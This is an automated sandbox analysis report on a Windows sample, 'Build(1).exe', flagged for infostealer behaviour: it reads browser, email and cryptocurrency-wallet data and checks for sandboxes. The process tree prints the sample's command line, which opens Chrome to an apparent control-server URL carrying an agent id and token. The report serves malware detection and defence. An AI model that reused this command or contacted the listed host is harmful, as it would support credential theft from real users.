Analysis

  • max time kernel
    149s
  • max time network
    126s
  • platform
    windows10-ltsc_2021_x64
  • resource
    win10ltsc2021-20260130-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20260130-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
  • submitted
    25/04/2026, 19:58

General

  • Target
    Build(1).exe
  • Size 337KB
  • Sample260425-yqasrag15v
  • SHA256 a9091aba78af2e7fc794e8d0c9d17ed34347259fcf79395485135162989f6d83
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops file in Windows directory 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Time Discovery 1 TTPs 1 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 12 IoCs
  • Suspicious use of FindShellTrayWindow 34 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Build(1).exe
    "C:\Users\Admin\AppData\Local\Temp\Build(1).exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1508
    • C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" ulmudhw.shop/api/set_agent?id=E0677D32BD24956701AEC7B30ADF174C&token=4e92ffe9c8490e49733684aeba8be2ca5f&description=0d5b0d6e95037f7d0d4d809554f3b6d0&agent=Chrome
      2⤵
      • Drops file in Windows directory
      • Checks processor information in registry
      • Enumerates system info in registry
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of WriteProcessMemory
      PID:3500
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x21c,0x220,0x224,0x40,0x228,0x7fff38f3c728,0x7fff38f3c734,0x7fff38f3c740
        3⤵
          PID:3000
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1728,i,11276593111421983396,11635429902224915103,262144 --field-trial-handle=1776,i,6223866888580959031,17625834180123920755,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=1896 /prefetch:2
          3⤵
            PID:2288
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1620,i,10304553617270072703,927143270783970891,524288 --field-trial-handle=1776,i,6223866888580959031,17625834180123920755,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2104 /prefetch:3
            3⤵
            • System Time Discovery
            PID:2976
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2428,i,13083397181085204831,3178404306405209509,524288 --field-trial-handle=1776,i,6223866888580959031,17625834180123920755,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2592 /prefetch:8
            3⤵
              PID:4440
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3076,i,11294899531374962130,3074963888272640467,2097152 --field-trial-handle=1776,i,6223866888580959031,17625834180123920755,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3208 /prefetch:1
              3⤵
                PID:2328
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3088,i,1874570336730521477,1699764747005870339,2097152 --field-trial-handle=1776,i,6223866888580959031,17625834180123920755,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3244 /prefetch:1
                3⤵
                  PID:2984
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4192,i,9886167118085594151,6150195943678379699,2097152 --field-trial-handle=1776,i,6223866888580959031,17625834180123920755,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=4204 /prefetch:2
                  3⤵
                    PID:228
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --metrics-shmem-handle=4536,i,8460503698141926021,12423162159582606092,524288 --field-trial-handle=1776,i,6223866888580959031,17625834180123920755,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3056 /prefetch:8
                    3⤵
                      PID:2504
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5340,i,10023901248675019348,6486846695457122098,524288 --field-trial-handle=1776,i,6223866888580959031,17625834180123920755,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5236 /prefetch:8
                      3⤵
                        PID:1688
                  • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                    "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                    1⤵
                      PID:2488
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
                      1⤵
                        PID:2388

                      Network

                            MITRE ATT&CK Enterprise v16

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            BookmarkMergedSurfaceOrdering

                            • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
                            • Size 6B
                            • SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
                            • MD5 SHA1 SHA512

                            SCT Auditing Pending Reports

                            • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
                            • Size 2B
                            • SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
                            • MD5 SHA1 SHA512

                            Web Data

                            • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data
                            • Size 138KB
                            • SHA256 7ec7a19fe04d999f4d31e0c9acc5f5904028940d475dfd0148321c7f55c74293
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            Last Version

                            • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Last Version
                            • Size 13B
                            • SHA256 e5efa9eb104cd0b25149c2e789bec8d9aa4ba95678831b657eef7780a281c391
                            • MD5 SHA1 SHA512

                            Local State

                            • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                            • Size 89KB
                            • SHA256 c91b931b19de1f0747fd93db37afeeb648487576ce97c1166bb91496e45640c9
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            memory/1508-61-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-56-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-42-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-41-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-40-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-39-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-38-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-37-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-57-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-45-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-95-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-94-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-93-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-92-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-91-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-90-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-89-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-88-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-87-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-86-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-85-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-84-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-83-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-82-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-81-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-80-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-79-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-78-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-77-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-76-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-75-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-74-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-59-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-72-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-71-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-70-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-69-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-68-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-67-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-66-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-65-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-64-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-63-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-62-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-44-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-60-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-73-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-43-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-36-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-58-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-55-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-54-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-53-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-52-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-51-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-50-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-49-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-48-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-47-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-46-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-102-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-103-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-101-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-105-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-104-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-107-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-106-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-136-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-135-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-134-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-133-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-132-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-108-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-131-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-130-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-129-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-128-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-127-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-126-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-125-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-124-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-123-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-122-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-121-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-120-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-119-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-118-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-117-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-116-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-115-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-114-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-113-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-112-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-111-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-110-0x0000000003720000-0x0000000003721000-memory.dmp

                            memory/1508-109-0x0000000003720000-0x0000000003721000-memory.dmp